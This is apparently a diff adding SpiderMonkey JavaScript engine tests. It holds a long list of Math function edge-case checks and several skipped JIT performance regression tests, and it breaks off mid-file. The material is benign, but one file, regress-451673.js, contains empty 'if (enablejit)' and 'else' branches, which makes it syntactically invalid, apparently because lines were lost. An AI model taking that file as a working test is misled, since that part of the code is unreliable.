+testmath("Math.abs", "Number.NaN", Number.NaN)
+testmath("Math.abs", "0", 0)
+testmath("Math.abs", "-0", 0)
+testmath("Infinity/Math.abs", "-0", Infinity)
+testmath("Math.abs", "Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "- Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "-Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "-1", 1)
+testmath("Math.abs", "new Number(-1)", 1)
+testmath("Math.abs", "1", 1)
+testmath("Math.abs", "Math.PI", Math.PI)
+testmath("Math.abs", "-Math.PI", Math.PI)
+testmath("Math.abs", "-1/100000000", 1/100000000)
+testmath("Math.abs", "-Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "-0xfff", 4095)
+testmath("Math.abs", "-0777", 511)
+testmath("Math.abs", "'-1e-1'", 0.1)
+testmath("Math.abs", "'0xff'", 255)
+testmath("Math.abs", "'077'", 77)
+testmath("Math.abs", "'Infinity'", Infinity)
+testmath("Math.abs", "'-Infinity'", Infinity)
+
+testmath("Math.acos", "void 0", Number.NaN)
+testmath("Math.acos", "null", Math.PI/2)
+testmath("Math.acos", "Number.NaN", Number.NaN)
+testmath("Math.acos", "\"a string\"", Number.NaN)
+testmath("Math.acos", "'0'", Math.PI/2)
+testmath("Math.acos", "'1'", 0)
+testmath("Math.acos", "'-1'", Math.PI)
+testmath("Math.acos", "1.00000001", Number.NaN)
+testmath("Math.acos", "-1.00000001", Number.NaN)
+testmath("Math.acos", "1", 0)
+testmath("Math.acos", "-1", Math.PI)
+testmath("Math.acos", "0", Math.PI/2)
+testmath("Math.acos", "-0", Math.PI/2)
+testmath("Math.acos", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.acos", "-Math.SQRT1_2", Math.PI/4*3)
+testmath("Math.acos", "0.9999619230642", Math.PI/360)
+testmath("Math.acos", "-3.0", Number.NaN)
+
+testmath("Math.asin", "void 0", Number.NaN)
+testmath("Math.asin", "null", 0)
+testmath("Math.asin", "Number.NaN", Number.NaN)
+testmath("Math.asin", "\"string\"", Number.NaN)
+testmath("Math.asin", "\"0\"", 0)
+testmath("Math.asin", "\"1\"", Math.PI/2)
+testmath("Math.asin", "\"-1\"", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2+''", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2+''", -Math.PI/4)
+testmath("Math.asin", "1.000001", Number.NaN)
+testmath("Math.asin", "-1.000001", Number.NaN)
+testmath("Math.asin", "0", 0)
+testmath("Math.asin", "-0", -0)
+testmath("Infinity/Math.asin", "-0", -Infinity)
+testmath("Math.asin", "1", Math.PI/2)
+testmath("Math.asin", "-1", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2", -Math.PI/4)
+
+testmath("Math.atan", "void 0", Number.NaN)
+testmath("Math.atan", "null", 0)
+testmath("Math.atan", "Number.NaN", Number.NaN)
+testmath("Math.atan", "\"a string\"", Number.NaN)
+testmath("Math.atan", "'0'", 0)
+testmath("Math.atan", "'1'", Math.PI/4)
+testmath("Math.atan", "'-1'", -Math.PI/4)
+testmath("Math.atan", "'Infinity'", Math.PI/2)
+testmath("Math.atan", "'-Infinity'", -Math.PI/2)
+testmath("Math.atan", "0", 0)
+testmath("Math.atan", "-0", -0)
+testmath("Infinity/Math.atan", "-0", -Infinity)
+testmath("Math.atan", "Number.POSITIVE_INFINITY", Math.PI/2)
+testmath("Math.atan", "Number.NEGATIVE_INFINITY", -Math.PI/2)
+testmath("Math.atan", "1", Math.PI/4)
+testmath("Math.atan", "-1", -Math.PI/4)
+
+testmath("Math.atan2", "Number.NaN,0", Number.NaN)
+testmath("Math.atan2", "null, null", 0)
+testmath("Math.atan2", "void 0, void 0", Number.NaN)
+testmath("Math.atan2", "0,Number.NaN", Number.NaN)
+testmath("Math.atan2", "1,0", Math.PI/2)
+testmath("Math.atan2", "1,-0", Math.PI/2)
+testmath("Math.atan2", "0,0.001", 0)
+testmath("Math.atan2", "0,0", 0)
+testmath("Math.atan2", "0,-0", Math.PI)
+testmath("Math.atan2", "0, -1", Math.PI)
+testmath("Math.atan2", "-0, 1", -0)
+testmath("Infinity/Math.atan2", "-0,1", -Infinity)
+testmath("Math.atan2", "-0,0", -0)
+testmath("Math.atan2", "-0, -0", -Math.PI)
+testmath("Math.atan2", "-0, -1", -Math.PI)
+testmath("Math.atan2", "-1, 0", -Math.PI/2)
+testmath("Math.atan2", "-1, -0", -Math.PI/2)
+testmath("Math.atan2", "1, Number.POSITIVE_INFINITY", 0)
+testmath("Math.atan2", "1, Number.NEGATIVE_INFINITY", Math.PI)
+testmath("Math.atan2", "-1,Number.POSITIVE_INFINITY", -0)
+testmath("Infinity/Math.atan2", "-1,Infinity", -Infinity)
+testmath("Math.atan2", "-1,Number.NEGATIVE_INFINITY", -Math.PI)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 0", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-0", Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 1", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-1", -Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY", Math.PI/4)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY", 3*Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", -Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", -3*Math.PI/4)
+testmath("Math.atan2", "-1, 1", -Math.PI/4)
+
+testmath("Math.ceil", "Number.NaN", Number.NaN)
+testmath("Math.ceil", "null", 0)
+testmath("Math.ceil", "void 0", Number.NaN)
+testmath("Math.ceil", "'0'", 0)
+testmath("Math.ceil", "'-0'", -0)
+testmath("Infinity/Math.ceil", "'0'", Infinity)
+testmath("Infinity/Math.ceil", "'-0'", -Infinity)
+testmath("Math.ceil", "0", 0)
+testmath("Math.ceil", "-0", -0)
+testmath("Infinity/Math.ceil", "0", Infinity)
+testmath("Infinity/Math.ceil", "-0", -Infinity)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.ceil", "-Number.MIN_VALUE", -0)
+testmath("Infinity/Math.ceil", "-Number.MIN_VALUE", -Infinity)
+testmath("Math.ceil", "1", 1)
+testmath("Math.ceil", "-1", -1)
+testmath("Math.ceil", "-0.9", -0)
+testmath("Infinity/Math.ceil", "-0.9", -Infinity)
+testmath("Math.ceil", "0.9", 1)
+testmath("Math.ceil", "-1.1", -1)
+testmath("Math.ceil", "1.1", 2)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", -Math.floor(-Infinity))
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", -Math.floor(Infinity))
+testmath("Math.ceil", "-Number.MIN_VALUE", -Math.floor(Number.MIN_VALUE))
+testmath("Math.ceil", "1", -Math.floor(-1))
+testmath("Math.ceil", "-1", -Math.floor(1))
+testmath("Math.ceil", "-0.9", -Math.floor(0.9))
+testmath("Math.ceil", "0.9", -Math.floor(-0.9))
+testmath("Math.ceil", "-1.1", -Math.floor(1.1))
+testmath("Math.ceil", "1.1", -Math.floor(-1.1))
+
+testmath("Math.cos", "void 0", Number.NaN)
+testmath("Math.cos", "false", 1)
+testmath("Math.cos", "null", 1)
+testmath("Math.cos", "'0'", 1)
+testmath("Math.cos", "\"Infinity\"", Number.NaN)
+testmath("Math.cos", "'3.14159265359'", -1)
+testmath("Math.cos", "Number.NaN", Number.NaN)
+testmath("Math.cos", "0", 1)
+testmath("Math.cos", "-0", 1)
+testmath("Math.cos", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "1.570796326795", 0)
+testmath("Math.cos", "2.356194490192", -0.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
+testmath("Math.cos", "Math.PI*2", 1)
+testmath("Math.cos", "Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "Math.PI/2", 0)
+testmath("Math.cos", "3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "Math.PI", -1)
+testmath("Math.cos", "5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "3*Math.PI/2", 0)
+testmath("Math.cos", "7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "2*Math.PI", 1)
+testmath("Math.cos", "-0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "-1.570796326795", 0)
+testmath("Math.cos", "2.3561944901920", -.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
+testmath("Math.cos", "6.28318530718", 1)
+testmath("Math.cos", "-Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI/2", 0)
+testmath("Math.cos", "-3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI", -1)
+testmath("Math.cos", "-5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-3*Math.PI/2", 0)
+testmath("Math.cos", "-7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI*2", 1)
+
+testmath("Math.exp", "null", 1)
+testmath("Math.exp", "void 0", Number.NaN)
+testmath("Math.exp", "1", Math.E)
+testmath("Math.exp", "true", Math.E)
+testmath("Math.exp", "false", 1)
+testmath("Math.exp", "'1'", Math.E)
+testmath("Math.exp", "'0'", 1)
+testmath("Math.exp", "Number.NaN", Number.NaN)
+testmath("Math.exp", "0", 1)
+testmath("Math.exp", "-0", 1)
+testmath("Math.exp", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.exp", "Number.NEGATIVE_INFINITY", 0)
+
+testmath("Math.floor", "void 0", Number.NaN)
+testmath("Math.floor", "null", 0)
+testmath("Math.floor", "true", 1)
+testmath("Math.floor", "false", 0)
+testmath("Math.floor", "\"1.1\"", 1)
+testmath("Math.floor", "\"-1.1\"", -2)
+testmath("Math.floor", "\"0.1\"", 0)
+testmath("Math.floor", "\"-0.1\"", -1)
+testmath("Math.floor", "Number.NaN", Number.NaN)
+testmath("Math.floor(Number.NaN) == -Math.ceil", "-Number.NaN", false)
+testmath("Math.floor", "0", 0)
+testmath("Math.floor(0) == -Math.ceil", "-0", true)
+testmath("Math.floor", "-0", -0)
+testmath("Infinity/Math.floor", "-0", -Infinity)
+testmath("Math.floor(-0)== -Math.ceil", "0", true)
+testmath("Math.floor", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.floor(Number.POSITIVE_INFINITY) == -Math.ceil", "Number.NEGATIVE_INFINITY", true)
+testmath("Math.floor", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.floor(Number.NEGATIVE_INFINITY) == -Math.ceil", "Number.POSITIVE_INFINITY", true)
+testmath("Math.floor", "0.0000001", 0)
+testmath("Math.floor(0.0000001)==-Math.ceil", "-0.0000001", true)
+testmath("Math.floor", "-0.0000001", -1)
+testmath("Math.floor(-0.0000001)==-Math.ceil", "0.0000001", true)
+
+testmath("Math.log", "void 0", Number.NaN)
+testmath("Math.log", "null", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "true", 0)
+testmath("Math.log", "false", -Infinity)
+testmath("Math.log", "'0'", -Infinity)
+testmath("Math.log", "'1'", 0)
+testmath("Math.log", "\"Infinity\"", Infinity)
+testmath("Math.log", "Number.NaN", Number.NaN)
+testmath("Math.log", "-0.000001", Number.NaN)
+testmath("Math.log", "-1", Number.NaN)
+testmath("Math.log", "0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "-0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "1", 0)
+testmath("Math.log", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.log", "Number.NEGATIVE_INFINITY", Number.NaN)
+
+testmath("Math.max", "void 0, 1", Number.NaN)
+testmath("Math.max", "void 0, void 0", Number.NaN)
+testmath("Math.max", "null, 1", 1)
+testmath("Math.max", "-1, null", 0)
+testmath("Math.max", "true,false", 1)
+testmath("Math.max", "\"-99\",\"99\"", 99)
+testmath("Math.max", "Number.NaN,Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.NaN, 0", Number.NaN)
+testmath("Math.max", "\"a string\", 0", Number.NaN)
+testmath("Math.max", "Number.NaN,1", Number.NaN)
+testmath("Math.max", "\"a string\", Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.NaN", Number.NaN)
+testmath("Math.max", "Number.NaN, Number.NaN", Number.NaN)
+testmath("Math.max", "0,Number.NaN", Number.NaN)
+testmath("Math.max", "1, Number.NaN", Number.NaN)
+testmath("Math.max", "0,0", 0)
+testmath("Math.max", "0,-0", 0)
+testmath("Math.max", "-0,0", 0)
+testmath("Math.max", "-0,-0", -0)
+testmath("Infinity/Math.max", "-0,-0", -Infinity)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.MAX_VALUE", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.max", "1,.99999999999999", 1)
+testmath("Math.max", "-1,-.99999999999999", -.99999999999999)
+
+testmath("Math.min", "void 0, 1", Number.NaN)
+testmath("Math.min", "void 0, void 0", Number.NaN)
+testmath("Math.min", "null, 1", 0)
+testmath("Math.min", "-1, null", -1)
+testmath("Math.min", "true,false", 0)
+testmath("Math.min", "\"-99\",\"99\"", -99)
+testmath("Math.min", "Number.NaN,0", Number.NaN)
+testmath("Math.min", "Number.NaN,1", Number.NaN)
+testmath("Math.min", "Number.NaN,-1", Number.NaN)
+testmath("Math.min", "0,Number.NaN", Number.NaN)
+testmath("Math.min", "1,Number.NaN", Number.NaN)
+testmath("Math.min", "-1,Number.NaN", Number.NaN)
+testmath("Math.min", "Number.NaN,Number.NaN", Number.NaN)
+testmath("Math.min", "1,1.0000000001", 1)
+testmath("Math.min", "1.0000000001,1", 1)
+testmath("Math.min", "0,0", 0)
+testmath("Math.min", "0,-0", -0)
+testmath("Math.min", "-0,-0", -0)
+testmath("Infinity/Math.min", "0,-0", -Infinity)
+testmath("Infinity/Math.min", "-0,-0", -Infinity)
+
+testmath("Math.pow", "null,null", 1)
+testmath("Math.pow", "void 0, void 0", Number.NaN)
+testmath("Math.pow", "true, false", 1)
+testmath("Math.pow", "false,true", 0)
+testmath("Math.pow", "'2','32'", 4294967296)
+testmath("Math.pow", "1,Number.NaN", Number.NaN)
+testmath("Math.pow", "0,Number.NaN", Number.NaN)
+testmath("Math.pow", "Number.NaN,0", 1)
+testmath("Math.pow", "Number.NaN,-0", 1)
+testmath("Math.pow", "Number.NaN, 1", Number.NaN)
+testmath("Math.pow", "Number.NaN, .5", Number.NaN)
+testmath("Math.pow", "1.00000001, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "1.00000001, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "-1.00000001,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-1.00000001,Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", ".0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY,.00000000001", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -.00000000001", 0)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -1", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 333", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 666", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -1", -0)
+testmath("Infinity/Math.pow", "Number.NEGATIVE_INFINITY, -1", -Infinity)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -3", -0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -2", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY,-0.5", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "0,1", 0)
+testmath("Math.pow", "0,0", 1)
+testmath("Math.pow", "1,0", 1)
+testmath("Math.pow", "-1,0", 1)
+testmath("Math.pow", "0,0.5", 0)
+testmath("Math.pow", "0,1000", 0)
+testmath("Math.pow", "0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "0, -1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -1000", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 1", -0)
+testmath("Math.pow", "-0,3", -0)
+testmath("Infinity/Math.pow", "-0, 1", -Infinity)
+testmath("Infinity/Math.pow", "-0,3", -Infinity)
+testmath("Math.pow", "-0,2", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-0, -1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -10001", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 0.5", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-1, 0.5", Number.NaN)
+testmath("Math.pow", "-1, Number.NaN", Number.NaN)
+testmath("Math.pow", "-1, -0.5", Number.NaN)
+
+testmath("Math.round", "0", 0)
+testmath("Math.round", "void 0", Number.NaN)
+testmath("Math.round", "true", 1)
+testmath("Math.round", "false", 0)
+testmath("Math.round", "'.99999'", 1)
+testmath("Math.round", "'12345e-2'", 123)
+testmath("Math.round", "Number.NaN", Number.NaN)
+testmath("Math.round", "0", 0)
+testmath("Math.round", "-0", -0)
+testmath("Infinity/Math.round", "-0", -Infinity)
+testmath("Math.round", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.round", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.round", "0.49", 0)
+testmath("Math.round", "0.5", 1)
+testmath("Math.round", "0.51", 1)
+testmath("Math.round", "-0.49", -0)
+testmath("Math.round", "-0.5", -0)
+testmath("Infinity/Math.round", "-0.49", -Infinity)
+testmath("Infinity/Math.round", "-0.5", -Infinity)
+testmath("Math.round", "-0.51", -1)
+testmath("Math.round", "3.5", 4)
+testmath("Math.round", "-3", -3)
+
+testmath("Math.sin", "null", 0)
+testmath("Math.sin", "void 0", Number.NaN)
+testmath("Math.sin", "false", 0)
+testmath("Math.sin", "'2.356194490192'", 0.7071067811865)
+testmath("Math.sin", "Number.NaN", Number.NaN)
+testmath("Math.sin", "0", 0)
+testmath("Math.sin", "-0", -0)
+testmath("Math.sin", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "0.7853981633974", 0.7071067811865)
+testmath("Math.sin", "1.570796326795", 1)
+testmath("Math.sin", "2.356194490192", 0.7071067811865)
+testmath("Math.sin", "3.14159265359", 0)
+
+testmath("Math.sqrt", "void 0", Number.NaN)
+testmath("Math.sqrt", "null", 0)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "false", 0)
+testmath("Math.sqrt", "'225'", 15)
+testmath("Math.sqrt", "Number.NaN", Number.NaN)
+testmath("Math.sqrt", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sqrt", "-1", Number.NaN)
+testmath("Math.sqrt", "-0.5", Number.NaN)
+testmath("Math.sqrt", "0", 0)
+testmath("Math.sqrt", "-0", -0)
+testmath("Infinity/Math.sqrt", "-0", -Infinity)
+testmath("Math.sqrt", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "2", Math.SQRT2)
+testmath("Math.sqrt", "0.5", Math.SQRT1_2)
+testmath("Math.sqrt", "4", 2)
+testmath("Math.sqrt", "9", 3)
+testmath("Math.sqrt", "16", 4)
+testmath("Math.sqrt", "25", 5)
+testmath("Math.sqrt", "36", 6)
+testmath("Math.sqrt", "49", 7)
+testmath("Math.sqrt", "64", 8)
+testmath("Math.sqrt", "256", 16)
+testmath("Math.sqrt", "10000", 100)
+testmath("Math.sqrt", "65536", 256)
+testmath("Math.sqrt", "0.09", 0.3)
+testmath("Math.sqrt", "0.01", 0.1)
+testmath("Math.sqrt", "0.00000001", 0.0001)
+
+testmath("Math.tan", "void 0", Number.NaN)
+testmath("Math.tan", "null", 0)
+testmath("Math.tan", "false", 0)
+testmath("Math.tan", "Number.NaN", Number.NaN)
+testmath("Math.tan", "0", 0)
+testmath("Math.tan", "-0", -0)
+testmath("Math.tan", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Math.PI/4", 1)
+testmath("Math.tan", "3*Math.PI/4", -1)
+testmath("Math.tan", "Math.PI", -0)
+testmath("Math.tan", "5*Math.PI/4", 1)
+testmath("Math.tan", "7*Math.PI/4", -1)
+testmath("Infinity/Math.tan", "-0", -Infinity)
diff --git a/js/src/tests/non262/jit/regress-451673.js b/js/src/tests/non262/jit/regress-451673.js
new file mode 100644
index 0000000000..0d40e677b3
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451673.js
@@ -0,0 +1,78 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451673;
+var summary = 'TM: Tracing prime number generation';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doTest(enablejit)
+ {
+ if (enablejit)
+ else
+
+ var n = 1000000;
+ var start = new Date();
+ var i=0;
+ var j=0;
+ var numprimes=0;
+ var limit=0;
+ numprimes = 1; // 2 is prime
+ var mceil = Math.floor;
+ var msqrt = Math.sqrt;
+ var isPrime = 1;
+
+ for (i = 3; i<= n; i+=2)
+ {
+ isPrime=1;
+ limit = mceil(msqrt(i)+1) + 1;
+
+ for (j = 3; j < limit; j+=2)
+ {
+ if (i % j == 0)
+ {
+ isPrime = 0;
+ break;
+ }
+ }
+
+ if (isPrime)
+ {
+ numprimes ++;
+ }
+ }
+
+ var end = new Date();
+
+ var timetaken = end - start;
+ timetaken = timetaken / 1000;
+
+ if (enablejit)
+
+ print((enablejit ? ' JIT' : 'Non-JIT') + ": Number of primes up to: " + n + " is " + numprimes + ", counted in " + timetaken + " secs.");
+
+ return timetaken;
+ }
+
+ var timenonjit = doTest(false);
+ var timejit = doTest(true);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-451974-01.js b/js/src/tests/non262/jit/regress-451974-01.js
new file mode 100644
index 0000000000..548695dafe
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451974-01.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var chars = '0123456789abcdef';
+var size = 10000;
+var mult = 1000;
+var densearray = [];
+var lsize = size;
+
+while (lsize--)
+{
+ densearray.push(chars);
+}
+
+function loop()
+{
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+}
+
+var timenonjit = loop();
+var timejit = loop();
+
+print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+expect = true;
+actual = timejit < timenonjit/2;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/regress-451974-02.js b/js/src/tests/non262/jit/regress-451974-02.js
new file mode 100644
index 0000000000..5c1cd4c133
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451974-02.js
@@ -0,0 +1,60 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var chars = '0123456789abcdef';
+ var size = 10000;
+ var mult = 1000;
+ var densearray = [];
+ var lsize = size;
+
+ while (lsize--)
+ {
+ densearray.push(chars);
+ }
+
+ function loop()
+ {
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit/2;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-452498-01.js b/js/src/tests/non262/jit/regress-452498-01.js
new file mode 100644
index 0000000000..08681bf9db
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-452498-01.js
@@ -0,0 +1,72 @@
+// |reftest| random -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2: jit heavyweight functions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function complex(aReal, aImag) {
+ this.r = aReal;
+ this.i = aImag;
+ this.square = function() {
